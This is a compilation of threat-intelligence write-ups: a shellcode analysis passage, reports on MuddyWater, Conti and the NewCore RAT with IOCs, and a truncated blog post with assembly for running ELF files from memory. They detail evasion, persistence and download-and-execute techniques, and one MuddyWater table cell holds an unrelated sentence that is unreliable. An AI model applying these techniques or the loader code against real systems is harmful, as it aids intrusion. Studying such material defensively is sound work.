## ShellCode Analysis
Using HollowHunter we dumped the shell code injected into WerFault.exe for further analysis. This DLL performs its malicious activities in multiple threads to make its analysis harder. This DLL is executed by calling the “DllEntryPoint” that invokes the “Main” function. The main function calls DllMain which creates a thread to perform its functions in a new thread within the context of the same process.
The created thread at first performs some anti-analysis checks to make sure it’s not running in an analysis/sandbox environment or in a debugger. It does this through the following actions:
1. Checks existence of a debugger by calling GetTickCount: GetTickCount is a timing function that is used to measure the time needed to execute some instruction sets. In this thread, it is being called two times before and after a Sleep instruction and then the difference is being calculated. If it is not equal to 2 the program exits, as it identifies it is being debugged.
2. VM detection: In this function, it checks if it is running in VmWare or VirtualBox by extracting the provider name of the display driver registry key and then checking if it contains the strings VMware or Oracle.
3. IsProcessorFeaturePresent: This API call has been used to determine whether the specified processor feature is supported or not. It checks __fastfail support before proceeding with immediate termination.
4. NtGlobalFlag: The shell code checks NtGlobalFlag in PEB structure to identify whether it is being debugged or not. To identify the debugger it compares the NtGlobalFlag value with 0x70.
5. IsDebuggerPresent: This checks for the presence of a debugger by calling “IsDebuggerPresent“.
After performing all these anti-analysis checks, it goes into a function to create its final shellcode in a new thread. The import calls used in this part are obfuscated and resolved dynamically by invoking the “Resolve_Imports” function. This function gets the address of “kernel32.dll” using LoadLibraryEx and then in a loop retrieves 12 imports.
Using the libpeconv library we are able to get the list of resolved API calls. Here is the list of imports, and we can expect it is going to perform some process injection:
- VirtualAlloc
- VirtualProtect
- CreateThread
- VirtualAllocEx
- VirtualProtectEx
- WriteProcessMemory
- GetEnvironmentVariableW
- CreateProcessW
- CreateRemoteThread
- GetThreadContext
- SetThreadContext
- ResumeThread
After resolving the required API calls it creates a memory region using VirtualAlloc and then calls “DecryptContent_And_WriteToAllocatedMemory” to decrypt the content of the final shell code and write them into created memory. In the next step, VirtualProtect is called to change the protection to the allocated memory to make it executable. Finally, CreateThread has been called to execute the final shellcode.
## Final Shell Code
The final shellcode is a set of instructions that make an HTTP request to a hard-coded domain to download a malicious payload and inject it into a process. As first step it loads the Wininet API by calling LoadLibraryA. Then it builds the list of function calls that are required to make the HTTP request which includes: InternetOpenA, InternetConnectA, InternetOpenRequestA and InternetSetOptionsExA.
After preparing the requirements for building HTTP request, it creates a HTTP request and sends it by calling HttpSendrequestExA. The requested URL is: http://www.asia-kotoba[.]net/favicon32.ico. In the next step, it checks if the HTTP request is successful or not. If the HTTP request is not successful it calls ExitProcess to stop its process.
If the return value of HTTPSendRequestExA is true, it means the request is successful and the code proceeds to the next step. In this step it calls VirtualAllocExA to allocate a memory region and then calls InternetReadFile to read the data and write it to the allocated memory. At the end it jumps to the start of the allocated memory to execute it. This is highly likely to be another shellcode that is hosted on the compromised “asia-kotoba.net” site and planted as a fake favicon in there. Since at the time of the report the target URL was down, we were not able to retrieve this shellcode for further analysis.
## Update: 2020-10-09
After further investigations we realized that this activity has no relation to any APT group and is part of red teaming activity. Malwarebytes blocks access to the compromised site hosting the payload.
## IOCs
- Lure document: `31368f805417eb7c7c905d0ed729eb1bb0fea33f6e358f7a11988a0d2366e942`
- Archive file containing lure document: `d68f21564567926288b49812f1a89b8cd9ed0a3dbf9f670dbe65713d890ad1f4`
- Document template image: `yourrighttocompensation[.]com/ping`
- Archive file download URLs:
- `yourrighttocompensation[.]com/?rid=UNfxeHM`
- `yourrighttocompensation[.]com/download/?key=15a50bfe99cfe29da475bac45fd16c50c60c85bff6b06e530cc91db5c710ac30&id=0`
- `yourrighttocompensation[.]com/?rid=n6XThxD`
- `yourrighttocompensation[.]com/?rid=AuCllLU`
- Download URL for final payload: `asia-kotoba[.]net/favicon32.ico` |
# Campaign Possibly Connected to “MuddyWater” Surfaces in the Middle East and Central Asia
**Posted on:** March 12, 2018 at 5:00 am
**Posted in:** Targeted Attacks
**Author:** Jaromir Horejsi (Threat Researcher)
We discovered a new campaign targeting organizations in Turkey, Pakistan, and Tajikistan that has some similarities with an earlier campaign named MuddyWater, which hit various industries in several countries, primarily in the Middle East and Central Asia. Third-party security researchers named the MuddyWater campaign as such because of the difficulties in attributing the attacks. However, given the nature of the targets, as well as the gathering and uploading of information to C&C servers, it appears that the attackers are mainly concerned with espionage activities — with the Saudi Arabia’s National Cyber Security Center (NCSC) publishing an alert on their website regarding the attacks.
Given the number of similarities, we can assume that there is a connection between these new attacks and the MuddyWater campaign. It also signifies that the attackers are not merely interested in a one-off campaign but will likely continue to perform cyberespionage activities against the targeted countries and industries.
Comparing the earlier MuddyWater campaign with this new one reveals some distinct similarities:
| **2017 MuddyWater Campaign** | **2018 “MuddyWater” Campaign** |
|------------------------------|---------------------------------|
| **Countries of Targeted Organizations** | Georgia, India, Iraq, Israel, Pakistan, Saudi Arabia, Turkey, United Arab Emirates, and the USA | Turkey, Pakistan, Tajikistan |
| **Decoy Documents** | The documents try to mimic government organizations, including the Iraqi National Intelligence Service, the National Security Agency, and the Ministry of Interior of Saudi Arabia | The documents try to mimic government organizations such as the Ministry of Internal Affairs of the Republic of Tajikistan. Some documents also come with government emblems. |
| **Dropped Files** | Visual Basic file and PowerShell file; the VBS file executes the PS file | Attackers are starting to invest in long-term operations that target specific processes enterprises rely on. They scout for vulnerable practices, susceptible systems, and operational loopholes that they can leverage or abuse. |
In addition to the common characteristics seen above, the campaigns also use similar obfuscation processes, as are the internal variables after deobfuscation. A list of `isDebugEnv` is also present in both campaigns.
## Infection Chain
Our research found malicious delivery documents (Detected by Trend Micro as JS_VALYRIA.DOCT and W2KM_VALYRIA.DOCT) containing text and file names in the Tajik language attempting to target individuals working for government organizations and telecommunication companies in Tajikistan. Each document uses social engineering to trick potential victims into clicking it to enable the macros and activate the payload. While some of the payloads we observed were embedded inside the document itself, some of the payloads were also downloaded from the internet after the lure was clicked. There is a separate lure with a program key generator written in Java that was bundled with a Java downloader. However, the actual payload is the same.
Some examples of the lure documents used in the campaign can be seen below:



After enabling the macros and the payload executes, two files – an obfuscated Visual Basic script (Detected by Trend Micro as VBS_VALYRIA.DOCT), and an obfuscated PowerShell script (Detected by Trend Micro as TROJ_VALYRIA.PS) — are created in the ProgramData directory placed in randomly-named directories. The purpose of the .VBS script is to execute the PowerShell script. The path to the VBS script is added to the task scheduler as a form of persistence.
In other campaigns, two files are also dropped. One of them is the VBS script; however, the second file is a base64 encoded text file, which, after decoding, results in the PowerShell file, as in the previous campaign. This is one simple layer of obfuscation, likely to avoid some antivirus detections.
The latest change drops three files – an .sct scriptlet file, an .inf file, and a base64 encoded data file. The scriptlet file and inf file use publicly available code for bypassing AppLocker. Code examples are also available on GitHub.
The PowerShell script, which employs several layers of obfuscation, is divided into three parts. Part one contains global variables like paths, encryption keys, and a list of a few hundred gates or hacked websites which serve as proxies.
The second part contains functions related to the encryption, which is a standard RSA encryption with very small keys. The third part contains the backdoor function. This function will first collect machine information and take screenshots before it sends this data to a command-and-control (C&C) server while waiting for commands. These include the following actions: clean, reboot, shutdown, screenshot, and upload. The clean command attempts to recursively delete all the items from drives C, D, E, and F.
## C&C Communication
The communication is done via XML messages with the following supported ACTION commands: REGISTER, IMAGE, COMMAND RESULT, UPLOAD. The backdoor first finds out the machine IP address by querying the internet service api[.]ipify[.]org, which returns the IP address of the currently infected machine. This IP address is then fed to another internet service called apinotes[.]com, which returns the location information of the given IP address.
The backdoor then collects the system information about the infected machine such as the Operating System name, architecture, domain, network adapter configuration, and username. It then separates each piece of information with **, and sends this system info as part of the REGISTER message.
A simple RSA algorithm with very small keys encrypts the message seen above. The message above gets encrypted and its contents are sent via post request to one of many hacked gates. The response to this message is another set of decimal numbers which can be decrypted by the public key, which is stored in `${pUbLIC}` variable in part 1 of the PowerShell script.
The message above can be decrypted to: `{"STATUS": "OK", "TOKEN": "d02153ffaf8137b1fa3bb852a27a12f8"}`
The XML message containing the screenshot can be seen below. Note that the previously obtained SYSID that serves as a machine identifier, ACTION:”IMAGE” tells us that a base64 encoded image will be followed in IMAGE field.
It seems that the attackers are actively monitoring the incoming connections to the C&C. In one of our attempts, we sent an improper request to the C&C server, which replied with the following message: “Stop!!! I Kill You Researcher.” This level of personalized messaging implies that the attackers are monitoring what data is going to and from their C&C server.
## Another hidden message or a false flag?
For the PowerShell script, the first part contains a variable named `dragon_middle`, which is an array containing a few hundred URLs ending with connection.php that serve as proxies between victim and C&C. If communication with C&C fails, and if the PowerShell script is run from a command line, a few error messages written in simplified Mandarin Chinese are displayed, with a curious phrase that translates to “waiting for dragon”:
- 无法访问本地计算机寄存器 (Unable to access local computer register)
- 任务计划程序访问被拒绝 (Mission Scheduler access is denied)
- 无法连接到网址,请等待龙 (Cannot connect to URL, please wait for dragon)
- 无法连接到网址,请等待龙 (Cannot connect to website, please wait for dragon)
These messages may not reveal anything about the real attackers as the malware writers sometimes like to embed false flags into their programs to confuse researchers. The syntax and grammar suggest that the language could have been machine-translated rather than written by a native speaker.
## Countermeasures and Trend Micro Solutions
Users unfamiliar with the various kinds of social engineering techniques might find it difficult to distinguish a legitimate message from a malicious one – thus the need for education on identifying and mitigating phishing attacks – especially if it involves organizations in sensitive industries such as government and manufacturing. Context, in this case, is important. Users need to consider why they received an email and avoid clicking on any links or attachments in general until they are certain that they are legitimate.
Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to today’s stealthy malware and targeted attacks in real time. It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect threats even without any engine or pattern update.
Malware such as the one analyzed in this entry also use email as an entry point, which is why it’s important to secure the email gateway. Trend Micro™ Hosted Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network. Trend Micro™ Deep Discovery™ Email Inspector and InterScan™ Web Security prevent malware from ever reaching end users. At the endpoint level, Trend Micro™ Smart Protection Suites deliver several capabilities that minimize the impact of these attacks.
These solutions are powered by the Trend Micro XGen™ security, which provides a cross-generational blend of threat defense techniques against a full range of threats for data centers, cloud environments, networks, and endpoints. It features high-fidelity machine learning to secure the gateway and endpoint data and applications, and protects physical, virtual, and cloud workloads.
## Indicators of Compromise (IOCs):
**Hashes detected as W2KM_VALYRIA.DOCT:**
- 009cc0f34f60467552ef79c3892c501043c972be55fe936efb30584975d45ec0
- 153117aa54492ca955b540ac0a8c21c1be98e9f7dd8636a36d73581ec1ddcf58
- 18479a93fc2d5acd7d71d596f27a5834b2b236b44219bb08f6ca06cf760b74f6
- 18cf5795c2208d330bd297c18445a9e25238dd7f28a1a6ef55e2a9239f5748cd
- 1ee9649a2f9b2c8e0df318519e2f8b4641fd790a118445d7a0c0b3c02b1ba942
- 2727bf97d7e2a5e7e5e41ccbfd7237c59023d70914834400da1d762d96424fde
- 2cea0b740f338c513a6390e7951ff3371f44c7c928abf14675b49358a03a5d13
- 3b1d8dcbc8072b1ec10f5300c3ea9bb20db71bd8fa443d97332790b74584a115
- 3d96811de7419a8c090a671d001a85f2b1875243e5b38e6f927d9877d0ff9b0c
- 3da24cd3af9a383b731ce178b03c68a813ab30f4c7c8dfbc823a32816b9406fb
- 6edc067fc2301d7a972a654b3a07398d9c8cbe7bb38d1165b80ba4a13805e5ac
- 76e9988dad0278998861717c774227bf94112db548946ef617bfaa262cb5e338
- 9038ba1b7991ff38b802f28c0e006d12d466a8e374d2f2a83a039aabcbe76f5c
- 93745a6605a77f149471b41bd9027390c91373558f62058a7333eb72a26faf84
- a70aca719b06fc8ef0cd0b0e010c7bc8dc6d632e4f2f874e4c0e553bd8db2df2
- aa60c1fae6a0ef3b9863f710e46f0a7407cf0feffa240b9a4661a4e8884ac627
- af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102
- cee801b7a901eb69cd166325ed3770daffcd9edd8113a961a94c8b9ddf318c88
- d07d4e71927cab4f251bcc216f560674c5fb783add9c9f956d3fc457153be025
- dfbd67177af9d35188fc9ff9363c2b9017e9ccfe6719e3d641a56fb5dc0d47f7
- eff78c23790ee834f773569b52cddb01dc3c4dd9660f5a476af044ef6fe73894
- fbbda9d8d9bcaaf9a7af84d08af3f5140f5f75778461e48253dc761cc9dc027c
**Hash detected as VBS_VALYRIA.DOCT:**
- 0A9FC303CA03F4D9988A366CBBD96C24857E87374568EC5A4AAA4E55FE2C3C7E
- 0BC10D5396B3D8ECC54D806C59177B74E167D9F39D8F1B836806127AF36A7C4E
- 25186621282D1E1BAD649B053BDB7B56E48B38189F80DB5A69B92301EF9ED613
- 3607432758176a2c41a1971b3c4d14a992a68b231851f8b81c6e816ea9ea29b2
- 59F9E0FAA73E93537AE4BD3A8695874BA25B66CEFA017537132914C770D0CF70
**Hash detected as TROJ_VALYRIA.PS:**
- 0065d592d739ac1dd04d0335151c8855c7fafbf03e86134510ac2fc6766e8d60
- 0073ce0f4c82fc4d0470868e124aab9ad08852e1712564136186e5019fca0da0
- 02F58256FF52ED1CDB21064A28D6E5320005F02EF16E8B2FE851438BBC62A102
**Scriptlets and inf files related to AppLocker bypass:**
- 2791fdc54ee037589f951c718935397e43d5f3d5f8e078e8b1e81165a3aebbaf
- 288afbe21d69e79a1cff44e2db7f491af10381bcc54436a8f900bcbd2a752a6f
- 5e173fbdcd672dade12a87eff0baf79ec4e80533e2b5f6cf1fac19ad847acba0
**Related Posts:**
- EITest Campaign Uses Tech Support Scams to Deliver Coinhive’s Monero Miner
- Malvertising Campaign Abuses Google’s DoubleClick to Deliver Cryptocurrency Miners
- The Crisis of Connected Cars: When Vulnerabilities Affect the CAN Standard
- WannaCry Ransomware Sold in the Middle Eastern and North African Underground
Learn how to protect Enterprises, Small Businesses, and Home Users from ransomware:
- ENTERPRISE
- SMALL BUSINESS
- HOME
**Tags:** MuddyWater |
# Conti-nuation: Methods and Techniques Observed in Operations Post the Leaks
**Authored by:** Nikolaos Pantazopoulos, Alex Jessop, and Simon Biggs
**Date:** March 31, 2022
## Executive Summary
In February 2022, a Twitter account using the handle ‘ContiLeaks’ started to publicly release information about the operations of the cybercrime group behind the Conti ransomware. The leaked data included private conversations between members along with source code of various panels and tools (e.g., Team9 backdoor panel). Furthermore, the leaks confirmed that the Conti operators are part of the group operating under the ‘TheTrick’ ecosystem. For the past few months, there was a common misconception that Conti was a different entity.
Despite the public disclosure of their arsenal, it appears that Conti operators continue their business as usual by compromising networks, exfiltrating data, and deploying their ransomware. This post describes the methods and techniques observed during recent incidents that took place after the Conti data leaks.
### Findings Summary
- Multiple different initial access vectors have been observed.
- The operator(s) use service accounts of the victim’s Antivirus product to laterally move through the estate and deploy the ransomware.
- After gaining access, the operator(s) attempted to remove the installed Antivirus product through the execution of batch scripts.
- To achieve persistence in the compromised hosts, multiple techniques were observed:
- Service created for the execution of Cobalt Strike.
- Multiple legitimate remote access software, ‘AnyDesk’, ‘Splashtop’, and ‘Atera’, were deployed.
- Local admin account ‘Crackenn’ created.
- Before starting the ransomware activity, the operators exfiltrated data from the network using the legitimate software ‘Rclone’.
It should be noted that the threat actor(s) might use different tools or techniques at some stages of the compromise.
## Initial Access
Multiple initial access vectors have been observed recently, including phishing emails and the exploitation of Microsoft Exchange servers. The phishing email delivered to an employer deployed Qakbot to the user's Citrix session. The targeting of Microsoft Exchange saw ProxyShell and ProxyLogon vulnerabilities exploited. When this vector was observed, the compromise of the Exchange servers often took place two to three months prior to the post-exploitation phase. This behavior suggests that the team responsible for gaining initial access compromised a large number of estates in a small timeframe.
In several engagements, it was not possible to ascertain the initial access due to dwell time and evidence retention. However, other initial access vectors utilized by the Conti operator(s) include:
- Credential brute-force
- Use of publicly available exploits, including:
- Fortigate VPN (CVE-2018-13379, CVE-2018-13374)
- Log4Shell (CVE-2021-44228)
- Phishing email sent by a legitimate compromised account.
## Lateral Movement
In one incident, after gaining access to the first compromised host, we observed the threat actor carrying out the following actions:
- Download AnyDesk from hxxps://37.221.113[.]100/anydesk.exe
- Deployment of the following batch files:
- `1.bat`, `2.bat`, `111.bat`: Ransomware propagation
- `Removesophos.bat`, `uninstallSophos.bat`: Uninstalls Sophos Antivirus solution
- `Aspx.bat`: Contains a command-line that executes the dropped executable file ‘ekern.exe’. This file establishes a reverse SSH tunnel that allows direct RDP connection to the compromised host.
After executing the above files, we observed the following utilities being used for reconnaissance and movement:
- RDP
- ADFind
- Bloodhound to identify the network topology.
- netscan.exe for network shares discovery.
- Cobalt Strike deployed, allowing the threat actor to laterally move throughout the network.
The common techniques across multiple Conti engagements are the use of RDP and Cobalt Strike.
## Persistence
The threat actor leveraged Windows services to add persistence for the Cobalt Strike beacon. The primary persistence method was a Windows service, an example can be observed below:
- **Service Name:** REDACTED
- **Service File Name:** cmd.exe /c C:\ProgramData\1.msi
- **Service Type:** user mode service
- **Service Start Type:** demand start
- **Service Account:** LocalSystem
In addition, services were also installed to provide persistence for the Remote Access Tools deployed by the threat actor:
- AnyDesk
- Splashtop
- Atera
Another Conti engagement saw no methods of persistence. However, a temporary service was created to execute Cobalt Strike. It is hypothesized that the threat actor planned to achieve their objective quickly and therefore used services for execution rather than persistence.
In a separate engagement, where the initial access vector was phishing and led to the deployment of Qakbot, the threat actor created a local admin account named ‘Crackenn’ for persistence on the host.
## Privilege Escalation
Conti operator(s) managed to escalate their privileges by compromising and using different accounts found in the compromised host. The credentials compromised in multiple engagements were achieved by deploying tools such as Mimikatz. One operator was also observed exploiting ZeroLogon to obtain credentials and move laterally.
## Exfiltration and Encryption
Similar to many other threat actors, Conti operator(s) exfiltrate a large amount of data from the compromised network using the legitimate software ‘Rclone’. ‘Rclone’ was configured to upload to either Mega cloud storage provider or to a threat actor-controlled server. Soon after the data exfiltration, the threat actor(s) started the data encryption. The average time between lateral movement and encryption is estimated to be five days.
As discussed earlier, the average dwell time of a Conti compromise is heavily dependent on the initial access method. In incidents involving ProxyShell and ProxyLogon, the time between initial access and lateral movement has been three to six months. However, once lateral movement is conducted, the time to complete their objective is a matter of days.
## Recommendations
- Monitor firewalls for traffic categorized as file sharing.
- Monitor firewalls for anomalous spikes in data leaving the network.
- Patch externally facing services immediately.
- Monitor installed software for remote access tools.
- Restrict RDP and SMB access between hosts.
- Implement a robust password policy.
- Provide regular security awareness training.
## Indicators of Compromise
| Indicator Value | Indicator Type | Description |
|-----------------|----------------|-------------|
| 37.221.113[.]100/anydesk.exe | IP Address | AnyDesk |
| 103.253.208[.]79 | IP Address | Cobalt Strike command-and-control server |
| C:\ProgramData\1.msi | Filename | Cobalt Strike payload |
| C:\ProgramData\1.dll | Filename | Cobalt Strike payload |
| 223.29.205[.]54 | IP Address | AnyDesk IP address of the operator. |
| C:\Windows\sv.exe | Filename | Rclone |
| C:\Windows\svchost.conf | Filename | Rclone config |
| E03AF25994222D4DC6EFD98AE65217A03A5B40EEDCFFAC45F098E2A6F68F3F41 | SHA256 | Sv.exe – Rclone |
| C:\Users\Public\Report_18.xls | Filename | Cobalt Strike payload |
| C:\Users\Public\x86_16.dll | Filename | Cobalt Strike payload |
| Crackenn | Account | Local admin account created on patient zero |
| C:\Users\<user>\AppData\Roaming\Microsoft\Abevi\<random characters>.dll | Filename | Qakbot payload |
| C:\Users\Public\AdFind.exe | Filename | ADFind |
| 23.82.140[.]234 | IP Address | Cobalt Strike command-and-control server |
| 23.81.246[.]179 | IP Address | Cobalt Strike command-and-control server |
| hijelurusa[.]com | Domain | Cobalt Strike command-and-control server | |
# Rehashed RAT Used in APT Campaign Against Vietnamese Organizations
**September 5, 2017**
**Threat Research**
**By Jasper Manuel and Artem Semenchenko**
Recently, FortiGuard Labs came across several malicious documents that exploit the vulnerability CVE-2012-0158. To evade suspicion from the victim, these RTF files drop decoy documents containing politically themed texts about a variety of Vietnamese government-related information. It was believed in a recent report that the hacking campaign where these documents were used was led by the Chinese hacking group 1937CN. The link to the group was found through malicious domains used as command and control servers by the attacker. In this blog, we will delve into the malware used in this campaign and will try to provide more clues as to the instigator of this campaign.
## Sample decoy documents
When the documents are opened, they drop several files in one of the following folders:
- `%AppData%\Microsoft\Credentials`
- `%AppData%\Microsoft\SystemCertificates`
- `%AppData%\Microsoft\Windows\Templates`
Some samples drop the following files:
- **Taskeng.exe** – signed legitimate GoogleUpdate.exe version 1.3.33.5
- **Psisrndrx.ebd** – encrypted blob containing malware
Some drop the following files:
- **SC&Cfg.exe** – signed legitimate McAfee AV application
- **Vsodscpl.dll** – contains the malware file
Others drop the following files:
- **Systemm.exe** - signed legitimate GoogleUpdate.exe version 1.3.30.3
- **Systemsfb.ebd** - encrypted blob containing malware file
- **Goopdate.dll** – decrypter and loader of malware file
Similar to other APT attacks, such as MONSOON APT, this APT uses DLL hijacking to evade the behavior monitoring technologies of security programs.
## DLL Hijacking
DLL hijacking is a technique used by some APT malware in which instead of the legitimate application (.exe) loading the benign DLL, the application is tricked into loading a DLL containing malicious code. This technique is employed to evade Host Intrusion Prevention System (HIPS) of security programs that monitor the behaviors of executed files. Most HIPS tools whitelist signed or trusted files, thereby excluding malware loaded using DLL hijacking by signed files from behavior monitoring.
In the context of this attack, **taskeng.exe** and **SC&Cfg.exe** are signed legitimate applications; however, they are tricked into loading malware that are disguised as the legitimate **Goopdate.dll** and **Vsodscpl.dll** files.
Next, **Taskeng.exe** needs to load and import some functions from the original **Goopdate.dll** file; however, the **Goopdate.dll** was hijacked to contain malicious code, effectively changing the original code execution to execution of the malicious code.
In the same fashion, **SC&Cfg.exe** imports the “dll_wWinMain” function from the original **vsodscpl.dll**, but this DLL was hijacked as well, and also contains malicious code.
Once the malicious DLLs are loaded, the DLLs decrypt (from **psisrndrx.ebd** (1st case) or from its body (2nd case)) and load a Trojan downloader. The Trojan downloader is a DLL file. It is not dropped on disk but is only executed in memory. Also, the actual Trojan downloader in memory when dumped will not run. This is because the ‘MZ’ in the IMAGE_DOS_HEADER, the DOS stub, and the ‘PE’ signature were deliberately removed. This was done to prevent the dumped file from being analyzed properly in a debugger and decompiler. However, we can easily fix the dump by adding the ‘MZ’, a DOS stub, and the ‘PE’ signature.
## Missing header items as anti-analysis
This Trojan downloader downloads a RAT (Remote Access Trojan), which we will call “NewCore” RAT, from the following domains:
- web.thoitietvietnam.org
- dalat.dulichovietnam.net
- halong.dulichculao.com
### Trojan Downloader
The Trojan downloader first creates an autostart registry entry so it runs whenever the machine is rebooted:
- `HKLM/HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
- `Microsoft Windows = “%AppData%\Microsoft\Credentials\.exe”`
As an anti-VM, it checks whether the environment has the registry key:
- `HKCR\Applications\VMwareHostOpen.exe`
Before it can download the NewCore RAT, it needs to send the following information to the C&C server:
- OS version
- Processor speed
- Number of processors
- Physical memory size
- Computer name
- User name
- User privilege
- Computer IP address
- Volume serial number
The above information is converted to its hex string representation, and then sent to the C&C server via HTTP GET.
The response is an XOR encrypted data that includes the encrypted NewCore RAT.
## NewCore Remote Access Trojan
We named this RAT ‘NewCore’ after we found the project name used by the author, which is indicated on the following PDB file string. According to its compilation time stamp, this malware was compiled on March 16, 2017. However, as of this writing, only a few Antivirus engines, including Fortinet detect this malware according to VirusTotal.
This RAT is a DLL file. Its malicious routines are contained in its imported function “ProcessTrans”. However, executing the DLL without using the downloader will not work as the C&C server string is not embedded in its body. When the downloader calls the function “ProcessTrans”, it supplies to the function the C&C server string and a handle to the C&C server internet session. In this case, heuristic detection based on behavior will not work on the DLL alone.
This RAT is capable of the following:
- Shutdown the machine
- Restart the machine
- Get disk list
- Get directory list
- Get file information
- Get disk information
- Rename files
- Copy files
- Delete files
- Execute files
- Search files
- Download files
- Upload files
- Screen monitoring
- Start command shell
Based on the strings found in its body, this malware may have been derived from the PcClient and PcCortr backdoors whose source codes are publicly available, especially on Chinese language coding forums. PcClient detections usually include PcCortr.
PcClient was used in the past by some APT groups such as Nitro, which were also linked to a China-based hacker. According to the PDB file string embedded in the NewCore RAT body, the creator of the project is someone using the handle “hoogle168”.
## Solution
To prevent triggering this RTF exploit, it is important to apply the patches released by Microsoft that cover CVE-2012-0158 vulnerability. Fortinet also covers detection for these threats as MSOffice/Dropper!exploit.CVE20120158 for the malicious RTF files, and W32/NewCore.A!tr.bdr for the payload. C&C URLs were also blocked using Fortinet's FortiGuard Web Filtering.
## Conclusion
NewCore RAT may just be a rehashed PcClient RAT, but it proves to be effective in evading AV detection by using a combination of simple techniques such as DLL-hijacking, file-less execution of downloaded malware, and passing C&C information as parameter from downloader to the downloaded file. As always, Fortiguard Labs will keep an eye on threats like NewCore to protect our customers against these threats.
Thank you to Tien Phan for additional insights.
## IOCs
### Lure:
- 2a4e8ae006be3a5ed2327b6422c4c6f8f274cfa9385c4a540bc617bff6a0f060
- 3faacef20002f9deb1305c43ea75b8422fd29a1559c0cf01cf1cee6a1b94fc0e
- 5bdbf536e12c9150d15ae4af2d825ff2ec432d5147b0c3404c5d24655d9ebe52
- 14b4d8f787d11c7d72f66231e80997ef6ffa1d868d9d8f964bea36871e1c2ff2
- 637c156508949c881763c019d2dca7c912da9ec63f01e3d3ba604f31b36e52ab
- 5573f6ec22026b0c00945eec177f04212492bb05c33b4b80f73c65ce7fe5119a
- 00466938836129a634b573d2b57311200ab04aba7252cfbf6b77f435612ca6c6
- c375946ba8abee48948f79a89ea5b4f823d8287c2feb3515755b22ba5bd8849d
- f6a4bab7d5664d7802f1007daa04ae71e0e2b829cd06faa9b93a465546837eb4
- fabf4debacb7950d403a84f4af25c084d0b576783006d334052ebf7ea432196e
### Loader:
- 9cebae97a067cd7c2be50d7fd8afe5e9cf935c11914a1ab5ff59e91c1e7e5fc4
- ea5b3320c5bbe2331fa3c0bd0adb3ec91f0aed97709e1b869b79f6a604ba002f
### Trojan Downloader:
- edbcc384b8ae0a2f52f239e2e599c3d2053f98cc1f4bc91548ec420bec063be6
- 49efab1dedc6fffe5a8f980688a5ebefce1be3d0d180d5dd035f02ce396c9966
- df8475669a14a335c46c802f642dd5569c52f915093a680175c30cc9f28aacdb
### NewCore RAT:
- 37bd97779e854ea2fc43486ddb831a5acfd19cf89f06823c9fd3b20134cb1c35
### Command and Control Servers:
- web.thoitietvietnam.org
- dalat.dulichovietnam.net
- halong.dulichculao.com |
# Running ELF Executables from Memory
**Guilherme Thomazi**
March 27, 2019
7 minute read
## Executing ELF binary files from memory with memfd_create syscall
Something that always fascinated me was running code directly from memory. From Process Hollowing (aka RunPE) to PTRACE injection. I had some success playing around with it in C in the past, without using any of the previously mentioned methods, but unfortunately the code is lost somewhere in the forums of VXHeavens (sadly no longer online). The code was buggy and worked only with Linux 32-bit systems (I wish I knew about shm_open back then, which is sort of an alternative for the syscall we are using in this post, mainly targeting older systems where memfd_create is not available).
## Overview and Code
Recently, I have been trying to code in assembly a bit. I find it very interesting and I believe every developer should understand at least the basics of it. I chose FASM as my assembler because I think it is very simple, powerful, and I like its concepts (like same source, same output). More information about its design can be found here. Anyway, I have written a small tool, `memrun`, that allows you to run ELF files from memory using the memfd_create syscall, which is available in Linux where kernel version is >= 3.17.
What happens with memfd_create is that it acts like malloc syscall but will return a file descriptor that references an anonymous file (which does not exist on the disk) and we can pass it to execve and execute it from memory. There are a couple of in-depth articles about it around the internet already, so I will not get too deep into it. A nice one by magisterquis can be found at his page.
The assembly code might look too big, but there are some things we need to take care of in this case that we don’t need to when writing in a high-level language like Go. Also, it’s nice if you want to use the code for an exploit; you can just adjust the assembly instructions to your needs. Both examples are for x86_64 only:
```assembly
include "struct.inc"
include "utils.inc"
segment readable executable
entry start
start:
;-----------------------------------------------------------------------------
; parsing command line arguments
;-----------------------------------------------------------------------------
pop rcx ; arg count
cmp rcx, 3 ; needs to be at least two for the self program
jne usage ; exit 1 if not
add rsp, 8 ; skips arg0
pop rsi ; gets arg1
mov rdi, sourcePath
push rsi ; save rsi
push rdi
call strToVar
pop rsi ; restore rsi
pop rdi
mov rdi, targetProcessName
pop rsi ; gets arg2
push rdi
call strToVar
;-----------------------------------------------------------------------------
; opening source file for reading
;-----------------------------------------------------------------------------
mov rdi, sourcePath ; loads sourcePath to rdi
xor rsi, rsi ; cleans rsi so open syscall doesn't try to use it as argument
mov rdx, O_RDONLY ; O_RDONLY
mov rax, SYS_OPEN ; open
syscall ; rax contains source fd (3)
push rax ; saving rax with source fd
;-----------------------------------------------------------------------------
; getting source file information to fstat struct
;-----------------------------------------------------------------------------
mov rdi, rax ; load rax (source fd = 3) to rdi
lea rsi, [fstat] ; load fstat struct to rsi
mov rax, SYS_FSTAT ; sys_fstat
syscall ; fstat struct contains file information
mov r12, qword[rsi + 48] ; r12 contains file size in bytes (fstat.st_size)
;-----------------------------------------------------------------------------
; creating memory map for source file
;-----------------------------------------------------------------------------
pop rax ; restore rax containing source fd
mov r8, rax ; load r8 with source fd from rax
mov rax, SYS_MMAP ; mmap number
mov rdi, 0 ; operating system will choose mapping destination
mov rsi, r12 ; load rsi with page size from fstat.st_size in r12
mov rdx, 0x1 ; new memory region will be marked read only
mov r10, 0x2 ; pages will not be shared
mov r9, 0 ; offset inside test.txt
syscall ; now rax will point to mapped location
push rax ; saving rax with mmap address
;-----------------------------------------------------------------------------
; close source file
;-----------------------------------------------------------------------------
mov rdi, r8 ; load rdi with source fd from r8
mov rax, SYS_CLOSE ; close source fd
syscall
;-----------------------------------------------------------------------------
; creating memory fd with empty name ("")
;-----------------------------------------------------------------------------
lea rdi, [bogusName] ; empty string
mov rsi, MFD_CLOEXEC ; memfd mode
mov rax, SYS_MEMFD_CREATE
syscall ; memfd_create
mov rbx, rax ; memfd fd from rax to rbx
;-----------------------------------------------------------------------------
; writing memory map (source file) content to memory fd
;-----------------------------------------------------------------------------
pop rax ; restoring rax with mmap address
mov rdx, r12 ; rdx contains fstat.st_size from r12
mov rsi, rax ; load rsi with mmap address
mov rdi, rbx ; load memfd fd from rbx into rdi
mov rax, SYS_WRITE ; write buf to memfd fd
syscall
